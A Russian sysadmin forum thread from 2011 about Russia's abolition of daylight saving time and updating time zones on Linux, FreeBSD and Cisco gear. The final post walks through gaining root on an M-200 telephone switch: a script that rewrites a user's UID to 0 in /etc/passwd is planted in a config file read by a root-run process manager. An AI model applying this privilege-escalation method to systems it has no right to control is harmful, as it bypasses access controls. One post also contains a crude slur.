Страница 1 из 2

Час Хэ

Добавлено: 10 окт 2011, 14:06
ys1797
Вот, блин, подарок правительства. :(

В связи с приближением часа икс, хожу тут по всяким линуксам и меняю MSK-3MSD,M3.5.0,M10.5.0 на MSK-4

Да по кошкам:
no clock summer-time MSD recurring last Sun Mar 2:00 last Sun Oct 3:00
clock timezone MSK 4

На фрюхах седьмых вообще написали ручками меняйте описание зоны.
На восьмой фрюхе вроде поправили сами.

Как пропатчить двух режимный счетчик электроэнергии пока мыслей нет :(

Re: Час Хэ

Добавлено: 10 окт 2011, 14:16
Vlad1983
слава яйцам, у мну хоть счетчиков нет

Re: Час Хэ

Добавлено: 10 окт 2011, 14:39
kasper
Омг. Я упустил этот момент =)
Полезно иногда заглядывать на форум

Re: Час Хэ

Добавлено: 10 окт 2011, 18:04
tma
ys1797 писал(а): В связи с приближением часа икс, хожу тут по всяким линуксам и меняю MSK-3MSD,M3.5.0,M10.5.0 на MSK-4
MSK+4 если не ошибаюсь.
MSK-4 старые PostgreSQL вообще не воспринимали, например.
У меня все сервера поэтому в GMT работают.
ys1797 писал(а):Как пропатчить двух режимный счетчик электроэнергии пока мыслей нет :(
А это действительно вопрос. :roll:

Re: Час Хэ

Добавлено: 10 окт 2011, 23:12
ys1797
MSK+4 если не ошибаюсь.
MSK-4 старые PostgreSQL вообще не воспринимали, например.
У меня все сервера поэтому в GMT работают.
Это я для "/etc/TZ" привел. Там все через жопер, как в свое время sendmail.cf :) Так, где надо "+", там надо "-" писать...
PostgreSQL очень странный фрукт. Только локаль от своего UID жрет...

Re: Час Хэ

Добавлено: 19 окт 2011, 13:07
Vlad1983
други из хохляндии вообще страдают
http://habrahabr.ru/blogs/sysadm/130691/

Re: Час Хэ

Добавлено: 19 окт 2011, 13:16
tma
Блин. В России, кстати, могли бы и по-умному поступить. Декретное время-то в России не отменяли, как во всех остальных странах.
Так что Россия все еще следует заветам великого Ильича, блин.

Re: Час Хэ

Добавлено: 19 окт 2011, 14:06
SVoy
Vlad1983 писал(а):други из хохляндии вообще страдают..
депутаты снова передумали - зимнее время будет :) а весной возьмутся за летнее...

как говорится "по статистике в Верховной Раде 5% пи***сов, а по мнению народа все 100"

Re: Час Хэ

Добавлено: 19 окт 2011, 16:58
tma
Ну так они поступили умнее. Отменять-то нужно не зимнее, а летнее время. Декретный час додумались же отменить.
Вот только почему с первого раза не догадались? А что в России сделали? Полный дебилизм. Нужно было убрать нафиг
декретный час, из-за которого Россия находится в неком своем собственном часовом поясе(сах), а затем отменять летнее
время. Тогда время в России (точнее Москве) вернулось бы в третий часовой пояс, как и должно быть.
Но политики везде изобретут свой собственный путь - то у них "суверенная демократия", то у них "суверенный часовой пояс".

Re: Час Хэ

Добавлено: 23 окт 2011, 21:36
Vlad1983
Дошли руки до настройки часового пояса на коммутаторе М-200 серии СС

но любезный производитель не дал прав на установку произвольного часового пояса:
PRIME_BBCODE_SPOILER_SHOW PRIME_BBCODE_SPOILER:
bash-3.2$ sudo tzsetup


1 - Moscow-01 - Kaliningrad
2 - Moscow+00 - Saint-Petersburg, Moscow
3 - Moscow+01 - Samara
4 - Moscow+02 - Yekaterinburg
5 - Moscow+03 - Omsk, Novosibirsk
6 - Moscow+04 - Krasnoyarsk
7 - Moscow+05 - Irkutsk
8 - Moscow+06 - Yakutsk
9 - Moscow+07 - Vladivostok, Sakhalin
10 - Moscow+08 - Magadan
11 - Moscow+09 - Kamchatka
12 - Moscow+10 - Anadyr

Выберите вашу временную зону (1-12):
^C
bash-3.2$ sudo tzselect

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

Password:

tzselect
bash-3.2$ tzselect
Please identify a location so that time zone rules can be set correctly.
Please select a continent or ocean.
1) Africa
2) Americas
3) Antarctica
4) Arctic Ocean
5) Asia
6) Atlantic Ocean
7) Australia
8) Europe
9) Indian Ocean
10) Pacific Ocean
11) none - I want to specify the time zone using the Posix TZ format.
#? 11
Please enter the desired value of the TZ environment variable.
For example, GST-10 is a zone named GST that is 10 hours ahead (east) of UTC.
GMT-6
awk: cmd. line:4: warning: escape sequence `\.' treated as plain `.'

The following information has been given:

TZ='GMT-6'

Therefore TZ='GMT-6' will be used.
Local time is now: Вск Окт 23 21:57:00 GMT 2011.
Universal Time is now: Вск Окт 23 15:57:00 UTC 2011.
Is the above information OK?
1) Yes
2) No
#? 1

You can make this change permanent for yourself by appending the line
TZ='GMT-6'; export TZ
to the file '.profile' in your home directory; then log out and log in again.

Here is that TZ value again, this time on standard output so that you
can use the /usr/bin/tzselect command in shell scripts:
GMT-6

bash-3.2$ ln -fs /usr/share/zoneinfo/posix/Etc/GMT-6 /etc/localtim
ln: создание символьной ссылки `/etc/localtim': Отказано в доступе
bash-3.2$ sudo ln -fs /usr/share/zoneinfo/posix/Etc/GMT-6 /etc/localtim

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

Password:
т.к. совсем не хочется каждые полгода лазить только для смены часового пояса, нужно взять рутовские права.

пароля на root в руководстве не указано.
звонок в поддержку производителя так же ничего не дал: "Ррребята, мы не в курррсе...".

ладно, не хотите по хорошему... выложу на всю страну какие вы балбесы...

смотрим что у нас запущено под root и ищем среди них те, на параметры запуска которых можем повлиять

Код: Выделить всё

bash-3.2$ ps axu
...
root     17883  0.0  0.0   3096   828 ?        Ss   Oct22   0:04 /ATS/BIN/PUPPETMANAGER -d
root     17991  0.0  3.3  72528 70000 ?        Ss   Oct22   0:14 /ATS/BIN/LINUXLOGCNTROLER -d
root     17993  1.3 13.7 359924 285716 ?       Ssl  Oct22  21:16 /ATS/BIN/PRODRIVER -d
root     18014  1.2  0.6  81300 13136 ?        Ssl  Oct22  19:03 /ATS/BIN/LINUXATSDIRECT -d
root     18163  4.6  3.5 325792 74264 ?        Ssl  Oct22  72:41 /ATS/BIN/PROMG -devlan0 eth2 -devwan0 eth3 -core0 1 -d -s
root     20275  0.0  0.0  11828   960 ?        Ssl  Jun06   3:22 /ATS/BIN/callbuilder -f /ATS/SYSCONFIG/callbuilder.conf -d
от оно http://m-200.com/base/index.php//ATS/SY ... ppets.conf

Код: Выделить всё

bash-3.2$ cat /ATS/SYSCONFIG/MasterOfPuppets.conf
ethcontrol DEVWAN0 device "eth3" killname "PROMG"
process LINUXLOGCNTROLER exefile "/ATS/BIN/LINUXLOGCNTROLER" cmdline "-d"
process PRODRIVER exefile "/ATS/BIN/PRODRIVER" sync PRODRIVER_1 sync PRODRIVER_2 sync PRODRIVER_3 sync PRODRIVER_4 sync PRODRIVER_5 cmdline "-d"
process LINUXATSDIRECT exefile "/ATS/BIN/LINUXATSDIRECT" depend "PRODRIVER" flag "chance" cmdline "-d"
#process LINUXATSDIRECT exefile "/ATS/BIN/valgrind.run" depend "PRODRIVER" killname "memcheck" killname "valgrind"
process PROMG exefile "/ATS/BIN/PROMG" sync PROMG_1 cmdline "-devlan0 eth2 -devwan0 eth3 -core0 1 -d -s"
смотрим что для нас в /etc/passwd

Код: Выделить всё

bash-3.2$ grep atsuser /etc/passwd
atsuser:x:500:500:atsuser:/ATS:/bin/bash
пишем скрипт замены существующих id юзера и группы на 0

Код: Выделить всё

bash-3.2$ cat /ATS/tmp/root
#!/bin/bash

/bin/sed -i 's/atsuser:x:500:500:atsuser/atsuser:x:0:0:atsuser/' /etc/passwd
добавляем строчку в /ATS/SYSCONFIG/MasterOfPuppets.conf

Код: Выделить всё

bash-3.2$ tail -n 1 /ATS/SYSCONFIG/MasterOfPuppets.conf
process AAA exefile "/ATS/tmp/root" cmdline ""
перезапуск сервиса

Код: Выделить всё

bash-3.2$ sudo /etc/init.d/m-200 restart
Остановка ATS M-200:
Остановка PUPPETMANAGER:                                        [   ОК  ]
Остановка PRODRIVER:                                            [   ОК  ]
Остановка LINUXATSDIRECT:                                       [   ОК  ]
Остановка LINUXATSDIRECT (valgrind):                            [ ОШИБКА ]
Остановка PROMG:                                                [   ОК  ]
Остановка LINUXLOGCNTROLER:                                     [   ОК  ]
Запуск ATS M-200:                                               [   ОК  ]
проверяем

Код: Выделить всё

bash-3.2$ grep atsuser /etc/passwd
atsuser:x:0:0:atsuser:/ATS:/bin/bash
логинимся

Код: Выделить всё

Using username "atsuser".
atsuser@10.56.2.59's password:
Last login: Fri Apr 15 00:39:24 2011
-bash-3.2# ln -fs /usr/share/zoneinfo/posix/Etc/GMT-6 /etc/localtime
-bash-3.2# date
Вск Окт 23 22:59:48 GMT-6 2011
-bash-3.2#
вуаля!!!